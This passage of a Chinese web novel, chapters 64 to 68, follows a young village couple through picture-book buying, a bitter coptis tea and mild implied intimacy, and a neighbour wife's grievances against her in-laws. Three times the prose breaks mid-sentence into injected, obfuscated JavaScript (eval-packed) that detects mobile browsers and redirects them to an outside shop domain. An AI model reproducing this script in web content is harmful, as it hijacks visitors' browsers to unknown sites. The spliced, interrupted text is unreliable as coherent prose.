书生:“!你是说我姿势画得也不对?” 原耕耘:“……你可以找些本子看看,书铺和杂货铺都有卖的。” 书生做了向园认识他以来第一个无用的大动作,他竟然摆了摆手,“不用了,我本也不喜画那些,若非想让大家都欣赏到西洋画,我是不会画那样腌臜的场面的。” 原耕耘:“……” 原来真有人不喜欢这事儿,一定是因为他没遇上倾心之人。 向园:“……” 那样的腌臜画,用上欣赏这个词实在不衬,但话本就没问题了。 “所以话本子,哦,是册子可以卖不?” 书生转身一捞,捞了一沓册子递过来,“送你们的。我以后不出摊了,这里头,你们看中什么,随便拿!”他扬扬下巴,点点摊子上那些东西。 原耕耘挑了一套本就打算买的颜料,那书生挑了挑眉,“你还挺识货!” 原耕耘轻笑一声,丢了块银子到铜钵里,“一路顺风!” 向园心口一跳,那块银子有五两重。 走出老远,她还捂着心口,原耕耘捏捏她的手跟她解释,“这套颜料很齐全,要收集起来不是容易的,也就是他是个画痴,才有这么齐全的工具。这钱不白花,权当给他凑个路费!” 向园听见他说路费就不大心疼了,她只是好奇,“耕耘哥哥,你知道他要出门?” “嗯,他应该会出海。” 65. 第 65 章 向园买册子的时候胆子很大,到家就怂了。 她把那一堆东西塞给原耕耘,“耕耘哥哥,你去藏,娘要问,你就说买的书,学习的书。” 转头把原耕耘提着的点心接过来自己拿着。 原耕耘盯着她后脑勺看了一会儿,眨了眨眼睛,拎着东西跟上去。 骡车已经还回去了,他俩走到篱笆院外,樊云英就听见声音,几步迎出来,“回来啦,热不热,怎么买这么多东西?” 向园笑着往前走两步,刚要把点心递过去,原耕耘开口了,“买的书,向园要学习,娘你要看看吗?” 向园笑还不及收回,瞳孔骤然炸开。 原耕耘到底在干什么啊? 看小话本很值得骄傲吗? 她两步跑过去,挽住樊云英的胳膊,“娘,我们不要看,那不是我的学习书,一点也不好看,是耕耘哥哥非要买,我劝他,他还不听。” 樊云英:“……” 这是怎么个情况,我又成了小两口耍情.趣的一环? 原耕耘板着脸点点头,“没错,向园说我乱花钱,还说我们要好好过日子,不能败家!” 樊云英觉得不可思议,“那你还买?” 原耕耘严肃道:“我本来都没打算买了,结果那摊主说他以后不摆摊了,只要我们回答对问题,摊上的东西不要钱随便挑。对吧,娘子?” 向园转头瞧瞧他,又回转过来瞧瞧樊云英,深感自己以后一定要多长几个心眼,不然恐怕要被耕耘哥哥忽悠瘸了。 樊云英倒没多想,“这样啊,是什么问题,你们答对了?” 原耕耘晃晃胳膊肘,指向向园,“你儿媳妇儿答的,我没听清,你问她吧。” 他说完,拎着包裹进屋去了。 向园:“……” 也不知道谁是谁媳妇儿! 她今天晚上要叫原耕耘全名,还不许他睡床。 接收到樊云英欣慰又好奇的目光,向园勉强一笑,暂时放下对原耕耘的控诉,绞尽脑汁想应该怎么说。 “娘,是这样的,摊主问的是个关于草药的谜语。”向园挽着樊云英坐下。 樊云英给她倒茶,“园园,不急说,先解解渴。” 向园甜甜一笑,“还是娘疼我。” 她咕嘟咕嘟一饮而尽,刚要开口,原耕耘放完东西过来了,向园一扭脸,想给他个脸色瞧,又觉得不大好,娘还在边儿上看着呢。 她贤淑了一把,起身倒一碗茶给他,“耕耘哥哥,你喝茶吧。” 真是一点也不记仇啊。 原耕耘挺诧异,接过杯子,还没喝一口,就瞧见向园已经揽着樊云英背过身去了。 这是要干什么? 他有些费解,然后就听到嘀嘀咕咕的声音传来,可惜听不清,只能听到他娘一会儿好奇,一会儿惊讶,然后是感叹。 原耕耘:“……” 啧啧,在这儿等着他呢。 “呵~”他没忍住笑出一个气音。 樊云英和向园同时回头,原耕耘收回笑意,问正经话,“晌午吃点什么?” 樊云英摆摆手,“还不到做饭的时候呢,灶棚锅里有饼子,你去垫巴垫巴。” 打发完儿子,她扭头继续跟向园说话,“园园,你再说说,后来怎么样了?” 一边说,一边捏了块龙须糖塞向园嘴里,“不急,边吃边说。” 原耕耘:“……” 很好,儿媳妇儿的点心,儿子不配吃了。 向园瞎编一通,甚至把以前看过的听过的话本子里的情节都拿出来哄樊云英了,樊云英听得又稀奇又认真,直到该做饭了,两人才相携往灶棚去。 原耕耘草草将册子翻了一遍,依旧是含蓄的情节,清雅的画风,里头还真有一本讲平民故事的,是向园想看的村夫和村姑。 这回没有厚帐子遮掩,只有蚊帐,朦朦胧胧的青色帐子,后头是可看不可说的景象。 他仔细瞧两眼,见俩人扭成一团,裹在薄纱里,露出来的头发都挺浓密的,便放心了,把这一册放在枕下,准备晚间和向园一起看。 向园很贤惠,吃过饭后,她跑到隔壁吭哧吭哧把小药炉搬来,要给原耕耘熬黄连水喝。 正在洗碗的原耕耘:“……” 樊云英看见药包,先着急了,忙问道:“怎么了,怎么了,怎么病了?” 向园拆开药包,一股浓郁的清苦味道扑面而来,是切好的黄连片,色泽金黄,质地坚硬,断面纹路清晰,向园看出这是上品黄连。 她估摸着重量倒了一些到戥子的铜盘上,“娘,没事没事,你别着急,是耕耘哥哥上火了,不严重,给他煮点黄连汤去去火。” 樊云英打量原耕耘几眼,脑门没冒痘,嘴角没起泡,面色也正常,漂亮媳妇儿就在身边,这都能上火,也是个人才。 察觉到老娘嫌弃的目光,原耕耘:“……” “娘,后天我跟向园要进山一趟,去把小院收拾收拾。” “你还打算去山里住啊?”樊云英不解,又有点恨铁不成钢,“那里歇个脚也就行了,你要是住山里,园园怎么办?” 以往没媳妇儿,十天半个月住山里也就住山里了,现在都有媳妇儿了,怎么还想往山上跑。 原耕耘知晓她误会了,“娘,不是为了常住,只是偶尔过去歇个脚。春天都过去了,马上就是打猎的季节,得把屋子院子收拾出来,留着囤猎物,囤柴火,囤山货,还有菜籽儿收过了,得趁时候把地翻一遍,看该种什么得先准备着。” “那行。”樊云英放心了,想想又不对,“不明天过去?” 后天不还有正事儿呢吗?她朝原耕耘使眼色,示意他瞧瞧向园。 原耕耘假装没看懂,“娘,是不是迷了眼睛,让向园给你吹吹。” 向园刚往药罐里添过水,闻言急道:“娘,怎么样了?给我瞧瞧。” 樊云英:“……” 算了,小两口爱折腾随他们去吧,她还是不要管了。 向园不仅给原耕耘煎药,还要看着他喝药,手里拿着两块点心严阵以待。 樊云英早回屋了,原耕耘很想把向园捉过来打屁股。 向园见他不喝,“耕耘哥哥,不苦的不苦的,我刚尝过了,根本不像大家说的那么苦。” 原耕耘半点不信,“你真尝过了?” 小骗子,她要是尝过,他就跟她姓向。 向园没好意思撒谎,“我闻了一下嘛!但我鼻子可灵了,真的不苦。你快喝,喝了给你吃点心。” 原耕耘端着碗一饮而尽。 向园赞叹不已。 那可是黄连水啊,耕耘哥哥一口气喝完,眼都不眨一下,真是太厉害了! 她把糕点送到原耕耘嘴边,“快吃快吃,解解苦味。” 原耕耘先喝了白水漱口,才吃她的点心。 他一口咬掉,“想不想尝尝?” 向园以为他说的点心,点点头,她手里还有一块,自己吃。 龙须糖离嘴巴咫尺之距时,腕子被原耕耘握住,一点点掰回原位。 他靠了上来,“向园,不苦的,你要是能尝出苦味,我就跟你姓。” 唇被他含住,向园嘴巴扁成小鸭样子,“嗯呜唔苦,哼苦哼苦。” 原耕耘让她尝到苦味,又尝到甜味后,才稍稍退开,箍着她喘气。 他握住她的腕子,这次却是帮她把糕点送到嘴边,“苦就对了,还骗我吗?” 向园嘴巴麻麻的,也不知道是叫苦麻的,还是叫亲麻的,她不敢张嘴,只咬下一点点,等香甜味道把苦味遮过去了,才慢慢把点心吃完。 原耕耘看看她可怜兮兮的样子,笑了,“我说话算话,以后我跟你姓了。” 向园:“……” 这是什么个意思? 原耕耘出去洗碗洗锅,向园跟上,“耕耘哥哥?” “嗯?” 向园:“你不要装傻啊,不许随便说。” “嗯。” 向园:“……” 向园生气了,“你怎么这样?” 原耕耘看回去,“怎么样?” 向园才不跟他说,伸着指头指指点点,“你好好洗碗,多洗两遍,晚上就用这个给你盛饭。” 她可记清楚这个大陶碗的纹路了,不洗干净就等着吃苦吧你。 她的表情过于恼火,几乎把我很生气,我要为难你几个字写在脸上,原耕耘心里的火一下子就燃起来了,刚刚喝的一大碗黄连水丁点用都没有。 “向园,”他声线低沉有力,“黄连水治不好我的病,你才能。” 触碰到他的视线,向园一下子就看明白,这是想生孩子了。 她脚底发软,心也跟着软了。 “今天晚上就生啊?”她跟着放低声音,像是在密谋不可告人之事,虽然这事的确不可告人。 原耕耘想现在生,可惜不能。 “明天,明天晚上生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她往下翻,盯着册子仔细瞧。 天长日久,村姑的爹娘终于答应婚事,他们成亲了。 大红烛燃着,大红帐子里,大红被底,村夫覆在村姑身上,他们在洞房花烛。 然后就像耕耘哥哥说的,夫妻间的事,他们每天都要做,想起来就要做,随时随地都要做。 向园翻完册子,眼直愣愣地瞧着原耕耘。 原耕耘摸摸她的脸,“怎么了?” 向园很费解:“他们都不用干活的吗?” 怎么见天都只做这种事,也不用吃饭睡觉,上本小姐还荡了秋千呢,这本村夫和村姑成亲后,两个人都没做过别的。 刚开始还好,都在床上,后来越来越诡异,有时候靠着门,有时候靠着柜子,有时候又靠墙,还有一回什么也没靠,就在屋子正中间。 四处没有着落,向园都替那村姑捏了一把汗,但因为有衣衫遮掩,两人离得又近,画面不甚清楚。 谁知这还不算离谱,再往后,屋子都装不下他们了。 割草割着割着就滚到一起去,家里的猪崽儿不喂了? 堆稻堆着堆着就堆到稻跺里,就不怕稻杆子扎得慌? 还有上山采蘑菇,采着采着就中毒了,他们都还没吃蘑菇呢,只是摸了一下就中毒了。 那农夫也是,村姑都摸了蘑菇中毒了,你还要再摸一下,就衬得你能似的。这下可好,两人晕晕乎乎抱在一起,下一幕就在山洞里了……那山洞里竟然干干净净的,半点尘土也无,还有米有面,有肉有菜,甚至有一个石头灶台…… 他们在里头待了三天三夜,这一点也不合乎常理。 向园有理由怀疑,定是农夫预谋已久,才准备得这样充分,说不定那毒蘑菇本来没毒的,就是他撒了什么奇怪的药粉上去,才让村姑中毒。说不定那农夫提前吃了解药,要不然怎么解释,蘑菇离山洞的那段距离,他抱着村姑走得稳稳当当呢? 原耕耘没想到她对册子要求还挺高,既要好看,又要贴近现实。 “回头我给你画个不一样的。”他支着胳膊肘,轻轻拍哄向园。 向园没动静,原耕耘转头一看,人已经睡着了,嘴巴微微张着,小鼾打得飞起。 他轻笑,摇着扇子给她扇风。 66. 第 66 章 因为后天有事儿,所以第二天要加班加点干活。 次日下晌,周二仓几个过来串门,被原耕耘抓壮丁,“跟我去摘桑葚吧。” 周满仓不敢去,防备地看着阿七几个,“九哥,你、你、你跟他们说通了啊,我们是自愿帮忙的,可不是要抢他们的活计。” 阿七翻了个白眼,“满仓哥,别这么瞧不起人啊!我们很讲道理的好不!园姐姐都说了,明天要继续给我们放假,所以今天要把熟了的都摘掉。” 而且桑葚熟得越来越多,他们几个也有点摘不过来了,怕耽误园姐姐的生意,他娘还交代让他跟园姐姐提一句。 这下不止周满仓放心了,周二仓和黄穗平、黄穗安也都放心了,毕竟他们也不想走着走着就踩到一坨狗屎,更不想睡到半夜,被窝里突然跳出一个癞□□。 杨可真又送了菜来,苗秋枳为自己两手空空而惭愧。 她不如杨可真那样干脆利落,又不如唐棣华那般八面玲珑,在村里被老婆婆和小姑子败坏名声,活没少干,好话却是一句也没有。 婚姻最初存的一点期待早已消磨殆尽,若不是如今日子有了转机,她恐怕就死心了,和黄穗平也闹散了。做他们家的弃妇总比做他们家的媳妇儿强。 如今黄家正在闹分家,黄父黄母自然不同意。黄穗平、黄穗安要上山去,苗秋枳也撒开手,不再管他们,她要去山脚下看木头。 看木头是原耕耘请里正帮忙找的人,找了九个,原耕耘承诺一个人一天给三十文工钱。这不算少,毕竟是三班倒,活也不累,只要谨慎不偷懒就能做好。 也是里正给他们做的担保。 毕竟一根杉木不便宜,不请个有威势、刚正严明的人压着,防不住好动歪心思的小人。 这些活儿妇人做正合适,比男子细致。 里正媳妇儿按着里正的交代,找了几个周家族人,其中就有杨可真婆媳俩。因为他们和向园走得近,周家兄弟俩也跟着原耕耘上山,找她们也是让原耕耘放心的意思。 不过周婶子没去,让杨可真去了。 一来一共就九个名额,她们占一个就不赖了,既接了里正媳妇儿的好意,也是给别人留点余地。 二来周二仓和周满仓上山,签契约的时候那么多人看着,眼睛都红了,奈何挤不进去,再多几个人进去,利就越分越薄了。能在看木头上用村里人,也是消解他们心中的不平,免得有人坏事。 里正媳妇儿回去跟里正一说,里正倒叫这婆媳俩启发了一下,他也不让媳妇去别家找人了,直接从周二仓家找一个,从黄穗平家找一个,再从陆盛家里找一个,这三个就是领班。其他的就从不跟着上山的人家里找。 这样安排再好不过了,陆盛家里,陆盛是大房的,小七是三房的,陆盛跟太爷太奶说了这事儿,陆阿婆又从二房选了个人出来。黄家兄弟俩则马上就把苗秋枳推出来。 苗秋枳这才有这样一个活计。她和杨可真不在一个班,今天俩人轮空。 她有心想和村里的年轻媳妇儿打好关系,这几日就常去找杨可真串门,还央她要过来一定喊上她。今日人才这么齐整。 苗秋枳还有些不好意思,她提个筐子也想过去帮忙,叫向园拦下。 “苗娘子,他们人够多了,咱们就在家歇会儿,家里一会儿也要忙起来,还要请你们帮忙呢。” 向园觉得做长辈还挺好,不用喊婶子,也不用喊嫂子,她想喊名字喊名字,想喊娘子喊娘子。 可惜她没提前问问苗娘子的名字,不然她还可以喊名字,这不比喊嫂子婶子谁家媳妇的有意思多了。 樊云英也劝她,“秋枳,别忙,坐会儿歇歇。他们大男人习惯了,不怕晒,女子不一样,稍微晒晒就晒黑了,等晚些太阳不烈的时候,咱们再去那边瞧瞧,你们也摘些带回家,给家里人尝尝。” 向园眼睛一亮,苗秋枳,好名字啊,柔中带刚,跟杨可真和唐棣华一样好听,下次她也要这么叫。 苗秋枳有些意外,向园和樊婶子喊的不是黄家的,穗平家的和大平家的,而是苗娘子,是她的名字,她心中不由因这样的称呼生出些许震撼来。 她从没想过,嫁入黄家后,还会有人记得她的姓名,记得她不只是黄家的媳妇儿,还是苗家的女儿,是苗秋枳。 “再吃块西瓜。”樊云英说着,给她递了块西瓜,又给杨可真和向园拿。 向园那块刚吃完,这块就递到手上,她甜甜地笑,“谢谢娘,娘也吃。” 她看桌上没有切好的了,站起身来,给樊云英切了块大的。 樊云英哭笑不得,“好了,好了,冰得哇凉的,吃多了不好,只再吃这一块啊。” “嗯嗯。”向园点头,埋头吃西瓜。 苗秋枳看着,白净的脸染上薄红,眼眶也红红的。 她想起头一年嫁到黄家,瓜贩来的时候,婆婆舀了几斤麦去换瓜。 她浣衣回家,路上遇到好些嫂子婶子打趣,说婆婆疼她,头一批瓜贵得要死,都舍得换了给她吃。 她不明所以,可那段时间受了许多说不清道不明的委屈,她心里还怨恨过,那一刻,她为自己的怨恨感到羞愧,红着脸回到家,却连瓜影子也没见到一个。 新媳妇儿脸皮薄,不好意思问,只等黄穗平回家,偷偷问他是怎么回事。 结果黄穗平只是在饭桌上试探着问了一句,“今个儿有瓜贩来,娘没换一个?”就遭黄母好一顿骂,好吃懒做的成了她,挑拨离间、多嘴多舌的也成了她。 还有小姑子在一旁拱火,说她不该如此不贤不孝,撺掇丈夫惹婆婆生气。 可她做了什么天怒人怨的事? 明明她一句话也没说,一声也没吭,连困惑之下问黄穗平都是偷偷的,不敢让任何人知道。 她并没有说她们一句不好,只是想知道怎么回事,结果到头来只换来无尽的指责和谩骂。 她不懂,既不是给她买的,既舍不得拿出来给她吃,又何必在邻居跟前说是她想吃才去买的呢。 小姑子怕落个嘴馋的名声不好说人家,难道她就不怕吗。 哦,也对,她嫁人了,成了黄家的媳妇儿,自然不需要什么好名声。他们只怕恨不得她名声稀烂,孤立无援,才好辖制她,拿捏她吧。 更可气的是,第二天有人问她瓜好吃吗?她只是冷脸说了句实话——不曾吃过,不知道好不好吃,就被小姑子在外编排跟婆婆作对。 小姑子人长得乖,嘴巴也甜,当着面说她不好的时候,还皱着眉,一脸为她好盼着她改正做个贤惠孝顺媳妇儿的模样。 她一个新嫁娘哪比得上惯会在邻里跟前卖乖的小姑子得人心,自那儿以后,名声算是坏了个彻底,连同期嫁进来的几个媳妇儿都不愿意跟她搭话。 她有冤无处诉,有苦道不出,如今拿着这块西瓜,才明悟,有些人就是烂到骨子里,还拿着粉往脸上搽,试图掩盖坏了的心肝和发黑发臭的腐肉。 苗秋枳借着低头吃西瓜的空,掩掉眼角苦涩的笑。 几人吃西瓜吃得干净,手上脸上不可避免地沾上汁水,向园带大家去井边打水,洗手洗脸。 水井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653429|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在草堂外,边上有个石台。 石台虽小,却很能装,上上下下摆放着许多器物,分别用来洗衣裳、淘菜、舀水,以及供向园玩耍。 例如边沿摆着的一圈小木鸭,一群大白鹅,正映在芭蕉叶底的平衡竹蜻蜓、旋转风车、挂在木架上的一串小鸟、一丛蘑菇,还有一座台架松果风铃,虽然不会响。 这都是原耕耘的手笔,有两个是他买的,其他的都是他做的。 除此之外,台上还放着陶盆木盆、水瓢竹筒等物,还有一个长满青苔的石水槽。 水槽里有落叶和浮萍,向园每天早上赶完鸭子,都会顺便采几朵小野花丢进去,看着颇有野趣。 另有一盆凤尾蕨,就是当初大黑守着的那盆,在那院不能经常瞧见,向园就搬过来了。也不用怕枯萎,盆里水常换,边上还有几本芭蕉遮阴,石台映在芭蕉丛中,从早到晚都是凉阴。 台下是个小架子,是向园寻了几块木板让原耕耘现钉的。 架子只有两层,下层是棒槌和搓衣板,上层是几个缺口的破碗、石头钵盂和草编小篓,里头放着乱七八糟的琐碎东西,有向园捡回来的奇形怪状的小石头,有她闲来无事拿草编的蚱蜢、蜻蜓、知了、蝴蝶和各种毛毛虫。 这些小玩意儿都是她拿来练手的,等手熟了她要开始编草帽。 还有一些小竹管,是原耕耘搭架子做器具削下来的,向园觉得说不定什么时候就能用到,就很宝贝地放着了。 一个稍大些的篓子里是泡泡果,大夏天的,稍微出点汗手心就黏糊糊的,用这个洗就清爽许多。 向园尤其喜欢,光是搓泡泡就能搓很长时间。 边上只有两个小板凳,向园又去搬了两个。 在树荫底下,一大盆水,无比清凉,几人乐得多玩一会儿。 樊云英也不管她们,洗了手后就坐在秋千上笑着看她们玩耍。 几双手搓搓泡泡,再在水里涮一下,没一会儿,盆里就满是透明泡泡了。 向园戳一下破一个,杨可真和苗秋枳也跟着戳,戳完了大家哈哈一乐,又重新搓满一盆泡泡。 透明的泡泡在日光下泛出斑斓光彩,苗秋枳神思恍惚,透过薄薄一层屏障,好似看到后面多彩的世界。 突然就好像回到多年以前,在家的日子。 小姐妹们在村头溪边浣衣,洗完衣裳等人的时刻,最悠闲也最有趣,她们可以丢掉一切烦恼,尽情嬉戏。 那一刻,她们不是谁的女儿,谁的姐妹,也不是谁的妻子,谁的儿媳,她们只是自己,在端起衣篓走上村路之前,短暂地、快乐地成为自己,自由自在,无忧无虑。 家在哪呢,她好似太久没有回去,当年一起玩耍的姐妹也都各奔东西。 记忆一下子拉回现实。 娘家离得远,就是回门也没什么好东西能带回去孝敬爹娘。 她记得,本应该大张旗鼓带着礼物回娘家的三日回门,却因婆婆生病,嚷着要她伺候没能去成。等年初二能回去时,才知道当初因三日未回,她爹娘在村里受了多少非议。 可她这个做女儿的,却无力孝敬,那一年也只带了薄薄一份礼,叔伯们看到,都摇头叹息。 三年了,她也只回去过几次,每次匆匆来,又匆匆走,连话都难得多说几句,仔细想来,她何其不孝啊。 等手头这活计忙完,就回去看看吧,随便这些人如何,回去看看,好好看看爹娘,看看兄弟姐妹,看看自己走过的路,看看自己生活过的地方,或许就能找回自己,找到方向,找到继续下去的希望…… 67. 第 67 章 傍晚,向园留他们吃饭,几人执意要走。 黄家兄弟和苗秋枳还好,在哪都一样的,回家不受待见,还不如在这儿待的自在,不留下也是怕给主人家添麻烦。 周家却还有周婶子在,他们都出来一大晌了,不能夕食还独留她一个吃。杨可真不跟向园客气,道明原因说得回家去,改天再过来。 向园想想,不再勉强,将篮子里装的几罐文武膏送给他们,“白水冲服也行,泡水喝也行,味道不赖,对身体也好,你们拿回去吃。” 杨可真一直以为这是药,没想到这东西他们也能吃,她问道:“这个是治什么的?” 她挺好奇,知道这东西吃了好,但具体是怎么个好法儿,还真不清楚。 向园一边把小罐放进他们带的提篮里,一边道:“主治瘰疬结核,但其实也算补品,平时都可以吃的,能补肝肾,益精血。若是有身体消瘦,腰膝酸软,失眠盗汗,头晕眼花,口渴咽干这些症状,长期吃都会见效。” 周满仓听着,觉得这不大对劲。 腰膝酸软、头晕眼花? 补肝肾,益精血? 那不就是男人不行才吃的药? 他娘还在给他相媳妇儿呢,要让人知道他吃这个,那还得了! 他一蹦三尺远,避如蛇蝎,“嫂子,你吃你吃,我和我哥用不着吃这个,我们身体好得不得了,来回在山上跑八十圈都不带喘气的。” 阿七:“……” 他们一人也发了一罐,现在见天都泡水喝,甜滋滋的他们可爱喝呢,满仓哥这话是什么意思? 黄穗平、黄穗安:“……” 这小子几个意思?你们兄弟俩不用吃这个,我们兄弟俩就需要吃? 杨可真有被小叔子无语到,干巴巴瞪他一眼。 周满仓接收到嫂子的威压视线,讪讪一笑。 他也知道自己说错话了,但不会改,主要是想改也改不了,天生的说话不过脑子。 向园:“……” 周满仓真不识货,哼! 满脑子男女偏见,哼! 她蹬蹬蹬跑到灶棚底下又拿了两罐出来,一罐递给杨可真,“姐姐,既然他们不吃,你和周婶子吃好了,吃完了若觉得好,还来拿,我到时候再给你们留几罐。” 另一罐给苗秋枳,她笑眯眯道:“秋枳,你也一样,他们不需要,咱们就留着自己吃呗,你太瘦了,正适合吃这个,我也给你留几罐。” 受了无妄之灾的黄家兄弟:“……” 虽然他们不需要,但还是对周满仓不爽怎么办? 原耕耘没空管他们,他觉得向园虽笑着,其实已经生气了,恐怕晚会儿还要找自己麻烦。 苗秋枳很是不好意思,她空手来的,却拿这么多东西走,坚决不肯接,“不用不用,这就够了。” 虽然很想拿回去给爹娘吃,可是这是卖到药铺里的精贵东西,她若是占人便宜不知足,那跟欺压她的那些人又有何异。 向园已经给了她三罐,那两罐留给黄穗平和黄穗安,剩下一罐,她自己不吃,总可以拿去给爹娘用用看,若是他们吃着好,她也能挣钱了,还可以再来买,没有白拿的道理。 向园推给她,“吃吧吃吧,你吃过就知道,这东西很好的,吃了腿脚有劲儿,对不对?” 她扭头征询活蹦乱跳的几个小孩儿的意见。 阿七几个狂点头,“园姐姐,桑葚膏比桑葚好吃。” 至于有没有效,应该……肯定是有的,没看他们整天上蹿下跳,一点不见累的。 那当然,二十斤桑葚浓缩出来的精华,能不好吃吗? 向园满意点头。 上道还是小孩儿上道,眼睛亮,识货! 只有自大无知的男人才会觉得益精血是针对他们的话,实则都是白痴想法。 女子没有精血,如何孕育子嗣?小孩儿没有精血,如何茁壮成长?老人没有精血,如何精神矍铄? 男人不会以为自己多长了点丑东西,就以为那里头装的都是别人都没有的精血吧。 幸好耕耘哥哥不这样。 她暗自庆幸,扭头去瞧原耕耘。 原耕耘:“……” 以他的经验,向园真有可能也问他一句对不对。 向园没问,因为她实事求是,原耕耘也不吃文武膏,而吃过的樊云英已经站出来支持她了,“正当如此,你俩都年轻,如今又是夏天,看着都消瘦了,最好连续吃一段日子调理调理身子。我连着吃了这一段,觉得气色都好多了。家里这些天都在熬,吃完了还来拿,方便得很。” 苗秋枳这才不再推拒,说以后再来帮忙,才收了东西走了。 路上,苗秋枳和杨可真并行,周家兄弟和黄家兄弟走一块。 眼看快要到岔路口了,黄穗安胳膊肘推推黄穗平。 黄穗平犹豫片刻,慢下脚步,等苗秋枳走过来。 杨可真见他们这是有话要说,朝苗秋枳一笑,疾走两步,撵上周二仓。 黄穗平低声道:“你什么时候想回娘家,我陪你,明天后天都成,若是不想太赶,等我下回下山也行。还有这个,我和二安都用不着,你自己安排。” 苗秋枳有些意外,良久无言。 黄穗平以为她在顾虑钱的问题,“打开年到现在,我这儿存了有两串钱了,可以多买点东西。” 苗秋枳沉默片刻,摇摇头,“等这段忙完吧。” 忙完她就有工钱了,也能多置办些东西孝敬爹娘。 至于黄穗平说的那些,或许是真心的,可对她来说,不重要了。 黄穗平点点头,“无处放的话,我跟二仓说,先放他家里,回头咱们再去取。” 苗秋枳垂着眼道:“不用了,我会跟可真说的。” 黄穗平反应了一会儿才想明白她说的可真是谁,他轻笑一声,道:“好。” 苗秋枳已经迈开步子,往前去了。 . 果如原耕耘所料,晚上吃过饭,向园就发难了。 “耕耘哥哥,你是想喝黄连水还是想吃桑葚膏?” 向园摸着药炉边边,很开明地让他自己选。 原耕耘:“我上火了,还能吃这个?” 也不是不能吃桑葚膏,但今天不能吃。 向园:“……” 诡计被识破,她一点成就感也没有,嘟着嘴道:“好吧好吧,过来喝黄连水。” 做饭的时候向园就煮上了,饭后盛出来,晾了一会儿,这会儿温度正好入口。 原耕耘一饮而尽,有点后悔选了黄连水,“下次吃桑葚膏,不煮黄连水了。” 向园觉得他有点可怜,顺着碗边的一点残汁舔了舔。 “哇~”苦死她了,怎么比晌午的苦这么多。 向园泪花都苦出来了,原耕耘哭笑不得,倒清水给她漱口。 “耕耘哥哥,我再也不逼你喝苦药了。” 要是她,她宁肯火旺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她还在中间夹了一层纱,更加的板正柔软,垫着也舒服。 向园来月事的时候会用,没来月事的时候,原耕耘想做坏事,也会把垫子取出来铺上。 现在做出来的两个,一个是菱格纹,一个是十字纹,做出来都很好看,也很好用,而且很好清洗,晒干也不会跑棉。 用了这一段时间,两人都觉得挺好。 原耕耘最近都在留心观察这种植物,他决定明年要再多捡一点,做小垫子用。 现如今两个垫子能替换过来,是因为天气暖和,洗了干得快,到冬天肯定就不成了。 向园却另有打算。 她也打算明年多收集些絮荚,却是想再做几个盖被出来,到时候可以缝云纹或者花卉、蝴蝶纹,肯定会更漂亮。 原耕耘今天带的是菱格纹的这个。另一个十字纹的,他回来那天晚上用过,昨天洗了。 虽然已经晒干,但原耕耘觉得轮流用比较好,不然一起做出来的垫子,一个可能都用旧了,另一个还崭新的,多不好。 向园背篓里,是昨天买回来的颜料,还有笔墨之类的。 原耕耘说要画画,他邀请向园观摩,随时提出意见和建议。 他昨天晚上说的,向园挺感兴趣,忙不迭答应了,今天一早就收拾好笔墨纸砚和颜料,生怕忘记。 68. 第 68 章 走在路上,向园想起一件事,“耕耘哥哥,你早上起那么早做什么去了?” 前面有个土坡,原耕耘拉她一把,“我去村里寻些牛乳,娘要用。” “哇!”向园感兴趣极了,挽住他的胳膊,歪头问道:“娘要牛乳做什么?是不是要做好吃的?不然咱们先回去,改天再上山吧。” 原耕耘点点她的鼻子,眼神雾沉沉的,“馋鬼,你还要晾我多久?有了点心就不顾相公了是吧?” 向园眼睛一亮,“娘要做点心啊!” 原耕耘捏住她嘴巴,“别想,我去晚了,牛乳没了呢!” 向园掰开他手,揉揉叫他捏痒的唇瓣,“好叭!” 她一边走,一边跟原耕耘说闲话,“耕耘哥哥,你怎么一大早就画画?我也跟着你学画画吧,以后我可以画草药。” 向园看过带画的药材书籍,但是上头都只有药物的一种形态,一般都是可采摘状态,而且是黑白的。 向园觉得,或许她可以把常见草药生长的各个阶段画出来,画成彩色的,一定很漂亮。 原耕耘也觉得好,“药材的性状效用也可以记录得更详实一点,到时候我帮你。” 他也看过医书,看过之后就明白,医书是给有天赋和有基础的人看的,他一个门外汉,大部分都看不懂。 或许向园可以写出一本通俗易懂、门外汉也能看明白的草本书籍。而他,会是她第一个读者,也是她第一个学生。 向园既不知道原耕耘对她的殷切期望,也不知道知道自己尚未动笔,就已经收获一个读者兼学生,她此刻兴致勃勃,逮着路旁的草药念叨不停: “车前草是草药,鱼腥草是草药,还有益母草、地胆草、白花蛇舌草、艾草、夏枯草、半边莲,家里有黄连,金银花,桑,竹,姜,淮山,紫苏,茴香,藿香,香薷,莱菔子,金荞麦,萱草、香蒲、菖蒲……呀呀呀,好多好多,我都说不完了,从现在起,我要留心观察它们。” 原耕耘生怕她沉迷此道,忘记要事,一边催着她走,一边给她提建议,“等去山上再细看,你想记录哪种草药,咱们可以移栽到家里,方便你随时观察。 “而且你得先定下个总体章程,例如你要记录哪些内容,具体要怎么分类,都确定好才好动笔不是? “不然你画到一半发现各类草药混在一起了,不方便后续区分不说,越到后头编撰难度也会越大。” 他说的都是向园没想到的,她不急着观察路边的草药了,斗志昂扬道:“我得把那些书再看几遍,把内容完全吃透,知道前人的优势和缺漏在哪里。这样我才知道我要写哪些东西,补足哪些内容。” “嗯,咱们一起努力!” “一起努力!” 